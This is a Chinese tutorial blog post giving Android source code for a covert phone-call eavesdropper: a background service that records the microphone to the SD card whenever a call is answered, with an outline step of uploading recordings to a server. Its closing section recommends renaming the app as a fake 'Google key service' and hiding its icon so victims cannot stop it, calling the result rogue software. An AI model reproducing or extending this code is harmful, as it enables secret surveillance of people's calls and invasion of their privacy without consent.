其实实现1个简单的电话的窃听是1件非常容易的事情,在美国大片里面不是常常有黑客盗取他人的通话内容么,想一想就觉得小激动,今天呢,我也实现了1个小小的电话窃听器,分享给大家,希望给大家乐乐。
实现电话窃听器步骤:(只限于Android手机上)
1.获得电话的服务
2.开启1个电话的监听
3.在监听的进程中,开启1个录音
4.将录音发送的到服务器端
5.在由服务器端发送给自己 ok,弄定
示例源码:
1.权限问题,电话服务,录音等
<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 麦克风权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!-- 读写sd卡权限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 读取电话 -->
<!-- 自定义电话服务 -->
<service android:name="com.zengtao.service.MyPhoneStausService" >
</service>
2.电话服务
package com.zengtao.service;
import java.io.IOException;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.widget.Toast;
/**
* my tephone service
*
* @author Administrator zengtao
*
*/
public class MyPhoneStausService extends Service {
@Override
public IBinder onBind(Intent intent) {
Toast.makeText(getBaseContext(), "start service", Toast.LENGTH_SHORT)
.show();
return null;
}
@Override
public void onCreate() {
super.onCreate();
// get telephone service
TelephonyManager telephony = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// set telephone listener status
telephony.listen(new MyPhoneStausListener(),
PhoneStateListener.LISTEN_CALL_STATE);
}
/**
* telephone status listener
*
* @author Administrator zengtao
*
*/
private class MyPhoneStausListener extends PhoneStateListener {
private MediaRecorder recorder;
/**
* the telephone status is changed
*/
@SuppressLint("SdCardPath")
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 空闲状态,没有响铃,没有通话
if (recorder != null) {
recorder.start();
recorder.reset();
recorder.release();
recorder = null;
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 响铃的时候
// 创建音频
recorder = new MediaRecorder();
// 设置音频来源---麦克风
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/sdcard/"
+ System.currentTimeMillis() + ".3gp");
recorder.prepare();
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 通话中
if (recorder != null) {
recorder.start();
}
break;
default:
break;
}
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
super.onDestroy();
Toast.makeText(getBaseContext(), "service stop", Toast.LENGTH_SHORT)
.show();
}
}
3.Mainactivity
package com.zengtao.demo;
import com.zengtao.service.MyPhoneStausService;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
public class MainActivity extends ActionBarActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(this, MyPhoneStausService.class);
startService(intent);
}
}
4.总结
以上便完成了1个简单的电话窃听器,固然你可以改变1些东西,比如:这个demo的名字改成:Goole的关键服务,activity的视图不让它在手机桌面显示出来,这些弄好了,不明白的人,谁敢把这个服务关闭掉,哪怕是熟习的程序编程者,1看这个也感觉不能关闭吧,是否是很贱,说句刺耳的,就是流氓软件,哈哈,固然这个服务开启以后,就算把activity关闭,在后台也是1样运行的,你不手动的去关闭它,它会1直运行,固然也能够用代码实现的方式关闭服务。